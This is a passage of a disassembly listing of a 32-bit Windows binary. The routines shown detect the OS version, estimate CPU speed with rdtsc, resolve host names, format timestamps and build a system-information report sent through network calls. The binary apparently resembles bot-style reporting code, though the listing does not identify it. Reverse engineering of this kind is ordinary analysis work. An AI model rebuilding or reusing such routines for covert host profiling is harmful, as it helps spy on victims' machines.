ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E0605h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2690579h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h nop call near ptr 26E0605h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2690000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi call near ptr 2740000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 273143Ch push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2840000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx call near ptr 26F0000h nop pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 nop call near ptr 27B0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2850000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2850000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2850000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: 